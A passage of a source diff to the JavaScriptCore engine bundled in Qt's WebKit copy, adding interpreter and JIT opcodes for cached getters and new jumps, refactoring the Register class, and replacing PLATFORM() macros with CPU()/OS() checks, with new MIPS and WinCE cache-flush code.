+         Cached property access: Attempts to use a cached named property getter on the
+         value base's prototype chain. If the cache misses, op_get_by_id_custom_chain
+         reverts to op_get_by_id.
+         */
+        int base = vPC[2].u.operand;
+        JSValue baseValue = callFrame->r(base).jsValue();
+        
+        if (LIKELY(baseValue.isCell())) {
+            JSCell* baseCell = asCell(baseValue);
+            Structure* structure = vPC[4].u.structure;
+            
+            if (LIKELY(baseCell->structure() == structure)) {
+                RefPtr<Structure>* it = vPC[5].u.structureChain->head();
+                size_t count = vPC[6].u.operand;
+                RefPtr<Structure>* end = it + count;
+                
+                while (true) {
+                    JSObject* baseObject = asObject(baseCell->structure()->prototypeForLookup(callFrame));
+                    
+                    if (UNLIKELY(baseObject->structure() != (*it).get()))
+                        break;
+                    
+                    if (++it == end) {
+                        int dst = vPC[1].u.operand;
+                        int property = vPC[3].u.operand;
+                        Identifier& ident = callFrame->codeBlock()->identifier(property);
+                        
+                        PropertySlot::GetValueFunc getter = vPC[7].u.getterFunc;
+                        JSValue result = getter(callFrame, baseObject, ident);
+                        CHECK_FOR_EXCEPTION();
+                        callFrame->r(dst) = result;
+                        vPC += OPCODE_LENGTH(op_get_by_id_custom_chain);
+                        NEXT_INSTRUCTION();
+                    }
+                    
+                    // Update baseCell, so that next time around the loop we'll pick up the prototype's prototype.
+                    baseCell = baseObject;
+                }
+            }
+        }
+        uncacheGetByID(callFrame->codeBlock(), vPC);
+        NEXT_INSTRUCTION();
+    }
+#if HAVE(COMPUTED_GOTO)
+    skip_id_custom_chain:
+#endif
     DEFINE_OPCODE(op_get_array_length) {
         /* op_get_array_length dst(r) base(r) property(id) nop(sID) nop(n) nop(n) nop(n)
 
@@ -2265,7 +2613,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         JSValue baseValue = callFrame->r(base).jsValue();
         if (LIKELY(isJSString(globalData, baseValue))) {
             int dst = vPC[1].u.operand;
-            callFrame->r(dst) = jsNumber(callFrame, asString(baseValue)->value().size());
+            callFrame->r(dst) = jsNumber(callFrame, asString(baseValue)->length());
             vPC += OPCODE_LENGTH(op_get_string_length);
             NEXT_INSTRUCTION();
         }
@@ -2479,7 +2827,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
                 else
                     result = jsArray->JSArray::get(callFrame, i);
             } else if (isJSString(globalData, baseValue) && asString(baseValue)->canGetIndex(i))
-                result = asString(baseValue)->getIndex(&callFrame->globalData(), i);
+                result = asString(baseValue)->getIndex(callFrame, i);
             else if (isJSByteArray(globalData, baseValue) && asByteArray(baseValue)->canAccessIndex(i))
                 result = asByteArray(baseValue)->getIndex(callFrame, i);
             else
@@ -2647,6 +2995,26 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         vPC += OPCODE_LENGTH(op_loop_if_true);
         NEXT_INSTRUCTION();
     }
+    DEFINE_OPCODE(op_loop_if_false) {
+        /* loop_if_true cond(r) target(offset)
+         
+           Jumps to offset target from the current instruction, if and
+           only if register cond converts to boolean as false.
+
+           Additionally this loop instruction may terminate JS execution is
+           the JS timeout is reached.
+         */
+        int cond = vPC[1].u.operand;
+        int target = vPC[2].u.operand;
+        if (!callFrame->r(cond).jsValue().toBoolean(callFrame)) {
+            vPC += target;
+            CHECK_FOR_TIMEOUT();
+            NEXT_INSTRUCTION();
+        }
+        
+        vPC += OPCODE_LENGTH(op_loop_if_true);
+        NEXT_INSTRUCTION();
+    }
     DEFINE_OPCODE(op_jtrue) {
         /* jtrue cond(r) target(offset)
 
@@ -2707,7 +3075,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         int target = vPC[2].u.operand;
         JSValue srcValue = callFrame->r(src).jsValue();
 
-        if (!srcValue.isUndefinedOrNull() || (srcValue.isCell() && !srcValue.asCell()->structure()->typeInfo().masqueradesAsUndefined())) {
+        if (!srcValue.isUndefinedOrNull() && (!srcValue.isCell() || !srcValue.asCell()->structure()->typeInfo().masqueradesAsUndefined())) {
             vPC += target;
             NEXT_INSTRUCTION();
         }
@@ -2810,6 +3178,29 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         vPC += OPCODE_LENGTH(op_jnless);
         NEXT_INSTRUCTION();
     }
+    DEFINE_OPCODE(op_jless) {
+        /* jless src1(r) src2(r) target(offset)
+
+           Checks whether register src1 is less than register src2, as
+           with the ECMAScript '<' operator, and then jumps to offset
+           target from the current instruction, if and only if the 
+           result of the comparison is true.
+        */
+        JSValue src1 = callFrame->r(vPC[1].u.operand).jsValue();
+        JSValue src2 = callFrame->r(vPC[2].u.operand).jsValue();
+        int target = vPC[3].u.operand;
+
+        bool result = jsLess(callFrame, src1, src2);
+        CHECK_FOR_EXCEPTION();
+        
+        if (result) {
+            vPC += target;
+            NEXT_INSTRUCTION();
+        }
+
+        vPC += OPCODE_LENGTH(op_jless);
+        NEXT_INSTRUCTION();
+    }
     DEFINE_OPCODE(op_jnlesseq) {
         /* jnlesseq src1(r) src2(r) target(offset)
 
@@ -2872,11 +3263,11 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         if (!scrutinee.isString())
             vPC += defaultOffset;
         else {
-            UString::Rep* value = asString(scrutinee)->value().rep();
-            if (value->size() != 1)
+            UString::Rep* value = asString(scrutinee)->value(callFrame).rep();
+            if (value->length() != 1)
                 vPC += defaultOffset;
             else
-                vPC += callFrame->codeBlock()->characterSwitchJumpTable(tableIndex).offsetForValue(value->data()[0], defaultOffset);
+                vPC += callFrame->codeBlock()->characterSwitchJumpTable(tableIndex).offsetForValue(value->characters()[0], defaultOffset);
         }
         NEXT_INSTRUCTION();
     }
@@ -2895,7 +3286,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         if (!scrutinee.isString())
             vPC += defaultOffset;
         else 
-            vPC += callFrame->codeBlock()->stringSwitchJumpTable(tableIndex).offsetForValue(asString(scrutinee)->value().rep(), defaultOffset);
+            vPC += callFrame->codeBlock()->stringSwitchJumpTable(tableIndex).offsetForValue(asString(scrutinee)->value(callFrame).rep(), defaultOffset);
         NEXT_INSTRUCTION();
     }
     DEFINE_OPCODE(op_new_func) {
@@ -3487,7 +3878,8 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         int src = vPC[2].u.operand;
         int count = vPC[3].u.operand;
 
-        callFrame->r(dst) = concatenateStrings(callFrame, &callFrame->registers()[src], count);
+        callFrame->r(dst) = jsString(callFrame, &callFrame->registers()[src], count);
+        CHECK_FOR_EXCEPTION();
         vPC += OPCODE_LENGTH(op_strcat);
 
         NEXT_INSTRUCTION();
diff --git a/src/3rdparty/webkit/JavaScriptCore/interpreter/Register.h b/src/3rdparty/webkit/JavaScriptCore/interpreter/Register.h
index 76184ba..ecd7403 100644
--- a/src/3rdparty/webkit/JavaScriptCore/interpreter/Register.h
+++ b/src/3rdparty/webkit/JavaScriptCore/interpreter/Register.h
@@ -51,17 +51,18 @@ namespace JSC {
     class Register : public WTF::FastAllocBase {
     public:
         Register();
-        Register(JSValue);
 
+        Register(const JSValue&);
+        Register& operator=(const JSValue&);
         JSValue jsValue() const;
         
-        Register(JSActivation*);
-        Register(CallFrame*);
-        Register(CodeBlock*);
-        Register(JSFunction*);
-        Register(JSPropertyNameIterator*);
-        Register(ScopeChainNode*);
-        Register(Instruction*);
+        Register& operator=(JSActivation*);
+        Register& operator=(CallFrame*);
+        Register& operator=(CodeBlock*);
+        Register& operator=(JSFunction*);
+        Register& operator=(JSPropertyNameIterator*);
+        Register& operator=(ScopeChainNode*);
+        Register& operator=(Instruction*);
 
         int32_t i() const;
         JSActivation* activation() const;
@@ -75,12 +76,12 @@ namespace JSC {
 
         static Register withInt(int32_t i)
         {
-            return Register(i);
+            Register r;
+            r.u.i = i;
+            return r;
         }
 
     private:
-        Register(int32_t);
-
         union {
             int32_t i;
             EncodedJSValue value;
@@ -98,13 +99,25 @@ namespace JSC {
     ALWAYS_INLINE Register::Register()
     {
 #ifndef NDEBUG
-        u.value = JSValue::encode(JSValue());
+        *this = JSValue();
+#endif
+    }
+
+    ALWAYS_INLINE Register::Register(const JSValue& v)
+    {
+#if ENABLE(JSC_ZOMBIES)
+        ASSERT(!v.isZombie());
 #endif
+        u.value = JSValue::encode(v);
     }
 
-    ALWAYS_INLINE Register::Register(JSValue v)
+    ALWAYS_INLINE Register& Register::operator=(const JSValue& v)
     {
+#if ENABLE(JSC_ZOMBIES)
+        ASSERT(!v.isZombie());
+#endif
         u.value = JSValue::encode(v);
+        return *this;
     }
 
     ALWAYS_INLINE JSValue Register::jsValue() const
@@ -114,44 +127,46 @@ namespace JSC {
 
     // Interpreter functions
 
-    ALWAYS_INLINE Register::Register(JSActivation* activation)
+    ALWAYS_INLINE Register& Register::operator=(JSActivation* activation)
     {
         u.activation = activation;
+        return *this;
     }
 
-    ALWAYS_INLINE Register::Register(CallFrame* callFrame)
+    ALWAYS_INLINE Register& Register::operator=(CallFrame* callFrame)
     {
         u.callFrame = callFrame;
+        return *this;
     }
 
-    ALWAYS_INLINE Register::Register(CodeBlock* codeBlock)
+    ALWAYS_INLINE Register& Register::operator=(CodeBlock* codeBlock)
     {
         u.codeBlock = codeBlock;
+        return *this;
     }
 
-    ALWAYS_INLINE Register::Register(JSFunction* function)
+    ALWAYS_INLINE Register& Register::operator=(JSFunction* function)
     {
         u.function = function;
+        return *this;
     }
 
-    ALWAYS_INLINE Register::Register(Instruction* vPC)
+    ALWAYS_INLINE Register& Register::operator=(Instruction* vPC)
     {
         u.vPC = vPC;
+        return *this;
     }
 
-    ALWAYS_INLINE Register::Register(ScopeChainNode* scopeChain)
+    ALWAYS_INLINE Register& Register::operator=(ScopeChainNode* scopeChain)
     {
         u.scopeChain = scopeChain;
+        return *this;
     }
 
-    ALWAYS_INLINE Register::Register(JSPropertyNameIterator* propertyNameIterator)
+    ALWAYS_INLINE Register& Register::operator=(JSPropertyNameIterator* propertyNameIterator)
     {
         u.propertyNameIterator = propertyNameIterator;
-    }
-
-    ALWAYS_INLINE Register::Register(int32_t i)
-    {
-        u.i = i;
+        return *this;
     }
 
     ALWAYS_INLINE int32_t Register::i() const
diff --git a/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.cpp b/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.cpp
index 5424199..510effe 100644
--- a/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.cpp
@@ -36,7 +36,7 @@ RegisterFile::~RegisterFile()
 #if HAVE(MMAP)
     munmap(m_buffer, ((m_max - m_start) + m_maxGlobals) * sizeof(Register));
 #elif HAVE(VIRTUALALLOC)
-#if PLATFORM(WINCE)
+#if OS(WINCE)
     VirtualFree(m_buffer, DWORD(m_commitEnd) - DWORD(m_buffer), MEM_DECOMMIT);
 #endif
     VirtualFree(m_buffer, 0, MEM_RELEASE);
diff --git a/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.h b/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.h
index 953c70f..1fc4f82 100644
--- a/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.h
+++ b/src/3rdparty/webkit/JavaScriptCore/interpreter/RegisterFile.h
@@ -176,7 +176,7 @@ namespace JSC {
     #if HAVE(MMAP)
         m_buffer = static_cast<Register*>(mmap(0, bufferLength, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, VM_TAG_FOR_REGISTERFILE_MEMORY, 0));
         if (m_buffer == MAP_FAILED) {
-#if PLATFORM(WINCE)
+#if OS(WINCE)
             fprintf(stderr, "Could not allocate register file: %d\n", GetLastError());
 #else
             fprintf(stderr, "Could not allocate register file: %d\n", errno);
@@ -186,7 +186,7 @@ namespace JSC {
     #elif HAVE(VIRTUALALLOC)
         m_buffer = static_cast<Register*>(VirtualAlloc(0, roundUpAllocationSize(bufferLength, commitSize), MEM_RESERVE, PAGE_READWRITE));
         if (!m_buffer) {
-#if PLATFORM(WINCE)
+#if OS(WINCE)
             fprintf(stderr, "Could not allocate register file: %d\n", GetLastError());
 #else
             fprintf(stderr, "Could not allocate register file: %d\n", errno);
@@ -196,7 +196,7 @@ namespace JSC {
         size_t committedSize = roundUpAllocationSize(maxGlobals * sizeof(Register), commitSize);
         void* commitCheck = VirtualAlloc(m_buffer, committedSize, MEM_COMMIT, PAGE_READWRITE);
         if (commitCheck != m_buffer) {
-#if PLATFORM(WINCE)
+#if OS(WINCE)
             fprintf(stderr, "Could not allocate register file: %d\n", GetLastError());
 #else
             fprintf(stderr, "Could not allocate register file: %d\n", errno);
@@ -242,7 +242,7 @@ namespace JSC {
         if (newEnd > m_commitEnd) {
             size_t size = roundUpAllocationSize(reinterpret_cast<char*>(newEnd) - reinterpret_cast<char*>(m_commitEnd), commitSize);
             if (!VirtualAlloc(m_commitEnd, size, MEM_COMMIT, PAGE_READWRITE)) {
-#if PLATFORM(WINCE)
+#if OS(WINCE)
                 fprintf(stderr, "Could not allocate register file: %d\n", GetLastError());
 #else
                 fprintf(stderr, "Could not allocate register file: %d\n", errno);
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocator.h b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocator.h
index 9ca62c8..8f46dee 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocator.h
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocator.h
@@ -26,6 +26,7 @@
 #ifndef ExecutableAllocator_h
 #define ExecutableAllocator_h
 
+#include <stddef.h> // for ptrdiff_t
 #include <limits>
 #include <wtf/Assertions.h>
 #include <wtf/PassRefPtr.h>
@@ -33,15 +34,25 @@
 #include <wtf/UnusedParam.h>
 #include <wtf/Vector.h>
 
-#if PLATFORM(IPHONE)
+#if OS(IPHONE_OS)
 #include <libkern/OSCacheControl.h>
 #include <sys/mman.h>
 #endif
 
-#if PLATFORM(SYMBIAN)
+#if OS(SYMBIAN)
 #include <e32std.h>
 #endif
 
+#if CPU(MIPS) && OS(LINUX)
+#include <sys/cachectl.h>
+#endif
+
+#if OS(WINCE)
+// From pkfuncs.h (private header file from the Platform Builder)
+#define CACHE_SYNC_ALL 0x07F
+extern "C" __declspec(dllimport) void CacheRangeFlush(LPVOID pAddr, DWORD dwLength, DWORD dwFlags);
+#endif
+
 #define JIT_ALLOCATOR_PAGE_SIZE (ExecutableAllocator::pageSize)
 #define JIT_ALLOCATOR_LARGE_ALLOC_SIZE (ExecutableAllocator::pageSize * 4)
 
@@ -78,7 +89,7 @@ private:
     struct Allocation {
         char* pages;
         size_t size;
-#if PLATFORM(SYMBIAN)
+#if OS(SYMBIAN)
         RChunk* chunk;
 #endif
     };
@@ -179,17 +190,43 @@ public:
 #endif
 
 
-#if PLATFORM(X86) || PLATFORM(X86_64)
+#if CPU(X86) || CPU(X86_64)
     static void cacheFlush(void*, size_t)
     {
     }
-#elif PLATFORM(ARM_THUMB2) && PLATFORM(IPHONE)
+#elif CPU(MIPS)
+    static void cacheFlush(void* code, size_t size)
+    {
+#if COMPILER(GCC) && (GCC_VERSION >= 40300)
+#if WTF_MIPS_ISA_REV(2) && (GCC_VERSION < 40403)
+        int lineSize;
+        asm("rdhwr %0, $1" : "=r" (lineSize));
+        //
+        // Modify "start" and "end" to avoid GCC 4.3.0-4.4.2 bug in
+        // mips_expand_synci_loop that may execute synci one more time.
+        // "start" points to the fisrt byte of the cache line.
+        // "end" points to the last byte of the line before the last cache line.
+        // Because size is always a multiple of 4, this is safe to set
+        // "end" to the last byte.
+        //
+        intptr_t start = reinterpret_cast<intptr_t>(code) & (-lineSize);
+        intptr_t end = ((reinterpret_cast<intptr_t>(code) + size - 1) & (-lineSize)) - 1;
+        __builtin___clear_cache(reinterpret_cast<char*>(start), reinterpret_cast<char*>(end));
+#else
+        intptr_t end = reinterpret_cast<intptr_t>(code) + size;
+        __builtin___clear_cache(reinterpret_cast<char*>(code), reinterpret_cast<char*>(end));
+#endif
+#else
+        _flush_cache(reinterpret_cast<char*>(code), size, BCACHE);
+#endif
+    }
+#elif CPU(ARM_THUMB2) && OS(IPHONE_OS)
     static void cacheFlush(void* code, size_t size)
     {
         sys_dcache_flush(code, size);
         sys_icache_invalidate(code, size);
     }
-#elif PLATFORM(ARM_THUMB2) && PLATFORM(LINUX)
+#elif CPU(ARM_THUMB2) && OS(LINUX)
     static void cacheFlush(void* code, size_t size)
     {
         asm volatile (
@@ -205,12 +242,12 @@ public:
             : "r" (code), "r" (reinterpret_cast<char*>(code) + size)
             : "r0", "r1", "r2");
     }
-#elif PLATFORM(SYMBIAN)
+#elif OS(SYMBIAN)
     static void cacheFlush(void* code, size_t size)
     {
         User::IMB_Range(code, static_cast<char*>(code) + size);
     }
-#elif PLATFORM(ARM_TRADITIONAL) && PLATFORM(LINUX)
+#elif CPU(ARM_TRADITIONAL) && OS(LINUX)
     static void cacheFlush(void* code, size_t size)
     {
         asm volatile (
@@ -226,6 +263,11 @@ public:
             : "r" (code), "r" (reinterpret_cast<char*>(code) + size)
             : "r0", "r1", "r2");
     }
+#elif OS(WINCE)
+    static void cacheFlush(void* code, size_t size)
+    {
+        CacheRangeFlush(code, size, CACHE_SYNC_ALL);
+    }
 #else
     #error "The cacheFlush support is missing on this platform."
 #endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorFixedVMPool.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorFixedVMPool.cpp
index 7682b9c..4d3c847 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorFixedVMPool.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorFixedVMPool.cpp
@@ -27,9 +27,9 @@
 
 #include "ExecutableAllocator.h"
 
-#include <errno.h>
+#if ENABLE(ASSEMBLER) && OS(DARWIN) && CPU(X86_64)
 
-#if ENABLE(ASSEMBLER) && PLATFORM(MAC) && PLATFORM(X86_64)
+#include <errno.h>
 
 #include "TCSpinLock.h"
 #include <mach/mach_init.h>
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorPosix.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorPosix.cpp
index 13a8626..06375ad 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorPosix.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorPosix.cpp
@@ -27,7 +27,7 @@
 
 #include "ExecutableAllocator.h"
 
-#if ENABLE(ASSEMBLER)
+#if ENABLE(ASSEMBLER) && OS(UNIX) && !OS(SYMBIAN)
 
 #include <sys/mman.h>
 #include <unistd.h>
@@ -35,7 +35,7 @@
 
 namespace JSC {
 
-#if !(PLATFORM(MAC) && PLATFORM(X86_64))
+#if !(OS(DARWIN) && CPU(X86_64))
 
 void ExecutableAllocator::intializePageSize()
 {
@@ -57,7 +57,7 @@ void ExecutablePool::systemRelease(const ExecutablePool::Allocation& alloc)
     ASSERT_UNUSED(result, !result);
 }
 
-#endif // !(PLATFORM(MAC) && PLATFORM(X86_64))
+#endif // !(OS(DARWIN) && CPU(X86_64))
 
 #if ENABLE(ASSEMBLER_WX_EXCLUSIVE)
 void ExecutableAllocator::reprotectRegion(void* start, size_t size, ProtectionSeting setting)
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorSymbian.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorSymbian.cpp
index c96ecae..e82975c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorSymbian.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorSymbian.cpp
@@ -22,7 +22,7 @@
 
 #include "ExecutableAllocator.h"
 
-#if ENABLE(ASSEMBLER) && PLATFORM(SYMBIAN)
+#if ENABLE(ASSEMBLER) && OS(SYMBIAN)
 
 #include <e32hal.h>
 #include <e32std.h>
@@ -34,7 +34,7 @@ namespace JSC {
 
 void ExecutableAllocator::intializePageSize()
 {
-#if PLATFORM_ARM_ARCH(5)
+#if CPU(ARMV5_OR_LOWER)
     // The moving memory model (as used in ARMv5 and earlier platforms)
     // on Symbian OS limits the number of chunks for each process to 16. 
     // To mitigate this limitation increase the pagesize to 
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorWin.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorWin.cpp
index e6ac855..e38323c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorWin.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/ExecutableAllocatorWin.cpp
@@ -27,7 +27,7 @@
 
 #include "ExecutableAllocator.h"
 
-#if ENABLE(ASSEMBLER)
+#if ENABLE(ASSEMBLER) && OS(WINDOWS)
 
 #include "windows.h"
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JIT.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/JIT.cpp
index 000e4b8..b414101 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JIT.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JIT.cpp
@@ -27,7 +27,7 @@
 #include "JIT.h"
 
 // This probably does not belong here; adding here for now as a quick Windows build fix.
-#if ENABLE(ASSEMBLER) && PLATFORM(X86) && !PLATFORM(MAC)
+#if ENABLE(ASSEMBLER) && CPU(X86) && !OS(MAC_OS_X)
 #include "MacroAssembler.h"
 JSC::MacroAssemblerX86Common::SSE2CheckState JSC::MacroAssemblerX86Common::s_sse2CheckState = NotCheckedSSE2;
 #endif
@@ -37,7 +37,6 @@ JSC::MacroAssemblerX86Common::SSE2CheckState JSC::MacroAssemblerX86Common::s_sse
 #include "CodeBlock.h"
 #include "Interpreter.h"
 #include "JITInlineMethods.h"
-#include "JITStubs.h"
 #include "JITStubCall.h"
 #include "JSArray.h"
 #include "JSFunction.h"
@@ -251,6 +250,7 @@ void JIT::privateCompileMainPass()
         DEFINE_OP(op_jneq_null)
         DEFINE_OP(op_jneq_ptr)
         DEFINE_OP(op_jnless)
+        DEFINE_OP(op_jless)
         DEFINE_OP(op_jnlesseq)
         DEFINE_OP(op_jsr)
         DEFINE_OP(op_jtrue)
@@ -259,6 +259,7 @@ void JIT::privateCompileMainPass()
         DEFINE_OP(op_loop_if_less)
         DEFINE_OP(op_loop_if_lesseq)
         DEFINE_OP(op_loop_if_true)
+        DEFINE_OP(op_loop_if_false)
         DEFINE_OP(op_lshift)
         DEFINE_OP(op_method_check)
         DEFINE_OP(op_mod)
@@ -321,6 +322,16 @@ void JIT::privateCompileMainPass()
         case op_get_by_id_proto_list:
         case op_get_by_id_self:
         case op_get_by_id_self_list:
+        case op_get_by_id_getter_chain:
+        case op_get_by_id_getter_proto:
+        case op_get_by_id_getter_proto_list:
+        case op_get_by_id_getter_self:
+        case op_get_by_id_getter_self_list:
+        case op_get_by_id_custom_chain:
+        case op_get_by_id_custom_proto:
+        case op_get_by_id_custom_proto_list:
+        case op_get_by_id_custom_self:
+        case op_get_by_id_custom_self_list:
         case op_get_string_length:
         case op_put_by_id_generic:
         case op_put_by_id_replace:
@@ -390,11 +401,13 @@ void JIT::privateCompileSlowCases()
         DEFINE_SLOWCASE_OP(op_instanceof)
         DEFINE_SLOWCASE_OP(op_jfalse)
         DEFINE_SLOWCASE_OP(op_jnless)
+        DEFINE_SLOWCASE_OP(op_jless)
         DEFINE_SLOWCASE_OP(op_jnlesseq)
         DEFINE_SLOWCASE_OP(op_jtrue)
         DEFINE_SLOWCASE_OP(op_loop_if_less)
         DEFINE_SLOWCASE_OP(op_loop_if_lesseq)
         DEFINE_SLOWCASE_OP(op_loop_if_true)
+        DEFINE_SLOWCASE_OP(op_loop_if_false)
         DEFINE_SLOWCASE_OP(op_lshift)
         DEFINE_SLOWCASE_OP(op_method_check)
         DEFINE_SLOWCASE_OP(op_mod)
@@ -579,7 +592,7 @@ void JIT::unlinkCall(CallLinkInfo* callLinkInfo)
     // When the JSFunction is deleted the pointer embedded in the instruction stream will no longer be valid
     // (and, if a new JSFunction happened to be constructed at the same location, we could get a false positive
     // match).  Reset the check so it no longer matches.
-    RepatchBuffer repatchBuffer(callLinkInfo->ownerCodeBlock.get());
+    RepatchBuffer repatchBuffer(callLinkInfo->ownerCodeBlock);
 #if USE(JSVALUE32_64)
     repatchBuffer.repatch(callLinkInfo->hotPathBegin, 0);
 #else
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JIT.h b/src/3rdparty/webkit/JavaScriptCore/jit/JIT.h
index e19ea17..a8f725d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JIT.h
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JIT.h
@@ -26,8 +26,6 @@
 #ifndef JIT_h
 #define JIT_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(JIT)
 
 // We've run into some problems where changing the size of the class JIT leads to
@@ -192,7 +190,7 @@ namespace JSC {
         // on x86/x86-64 it is ecx for performance reasons, since the
         // MacroAssembler will need to plant register swaps if it is not -
         // however the code will still function correctly.
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         static const RegisterID returnValueRegister = X86Registers::eax;
         static const RegisterID cachedResultRegister = X86Registers::eax;
         static const RegisterID firstArgumentRegister = X86Registers::edi;
@@ -210,7 +208,7 @@ namespace JSC {
         static const FPRegisterID fpRegT0 = X86Registers::xmm0;
         static const FPRegisterID fpRegT1 = X86Registers::xmm1;
         static const FPRegisterID fpRegT2 = X86Registers::xmm2;
-#elif PLATFORM(X86)
+#elif CPU(X86)
         static const RegisterID returnValueRegister = X86Registers::eax;
         static const RegisterID cachedResultRegister = X86Registers::eax;
         // On x86 we always use fastcall conventions = but on
@@ -228,7 +226,7 @@ namespace JSC {
         static const FPRegisterID fpRegT0 = X86Registers::xmm0;
         static const FPRegisterID fpRegT1 = X86Registers::xmm1;
         static const FPRegisterID fpRegT2 = X86Registers::xmm2;
-#elif PLATFORM(ARM_THUMB2)
+#elif CPU(ARM_THUMB2)
         static const RegisterID returnValueRegister = ARMRegisters::r0;
         static const RegisterID cachedResultRegister = ARMRegisters::r0;
         static const RegisterID firstArgumentRegister = ARMRegisters::r0;
@@ -244,7 +242,7 @@ namespace JSC {
         static const FPRegisterID fpRegT0 = ARMRegisters::d0;
         static const FPRegisterID fpRegT1 = ARMRegisters::d1;
         static const FPRegisterID fpRegT2 = ARMRegisters::d2;
-#elif PLATFORM(ARM_TRADITIONAL)
+#elif CPU(ARM_TRADITIONAL)
         static const RegisterID returnValueRegister = ARMRegisters::r0;
         static const RegisterID cachedResultRegister = ARMRegisters::r0;
         static const RegisterID firstArgumentRegister = ARMRegisters::r0;
@@ -283,32 +281,32 @@ namespace JSC {
             return JIT(globalData, codeBlock).privateCompile();
         }
 
-        static void compileGetByIdProto(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, Structure* prototypeStructure, size_t cachedOffset, ReturnAddressPtr returnAddress)
+        static void compileGetByIdProto(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, Structure* prototypeStructure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, ReturnAddressPtr returnAddress)
         {
             JIT jit(globalData, codeBlock);
-            jit.privateCompileGetByIdProto(stubInfo, structure, prototypeStructure, cachedOffset, returnAddress, callFrame);
+            jit.privateCompileGetByIdProto(stubInfo, structure, prototypeStructure, ident, slot, cachedOffset, returnAddress, callFrame);
         }
 
-        static void compileGetByIdSelfList(JSGlobalData* globalData, CodeBlock* codeBlock, StructureStubInfo* stubInfo, PolymorphicAccessStructureList* polymorphicStructures, int currentIndex, Structure* structure, size_t cachedOffset)
+        static void compileGetByIdSelfList(JSGlobalData* globalData, CodeBlock* codeBlock, StructureStubInfo* stubInfo, PolymorphicAccessStructureList* polymorphicStructures, int currentIndex, Structure* structure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset)
         {
             JIT jit(globalData, codeBlock);
-            jit.privateCompileGetByIdSelfList(stubInfo, polymorphicStructures, currentIndex, structure, cachedOffset);
+            jit.privateCompileGetByIdSelfList(stubInfo, polymorphicStructures, currentIndex, structure, ident, slot, cachedOffset);
         }
-        static void compileGetByIdProtoList(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructureList, int currentIndex, Structure* structure, Structure* prototypeStructure, size_t cachedOffset)
+        static void compileGetByIdProtoList(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructureList, int currentIndex, Structure* structure, Structure* prototypeStructure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset)
         {
             JIT jit(globalData, codeBlock);
-            jit.privateCompileGetByIdProtoList(stubInfo, prototypeStructureList, currentIndex, structure, prototypeStructure, cachedOffset, callFrame);
+            jit.privateCompileGetByIdProtoList(stubInfo, prototypeStructureList, currentIndex, structure, prototypeStructure, ident, slot, cachedOffset, callFrame);
         }
-        static void compileGetByIdChainList(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructureList, int currentIndex, Structure* structure, StructureChain* chain, size_t count, size_t cachedOffset)
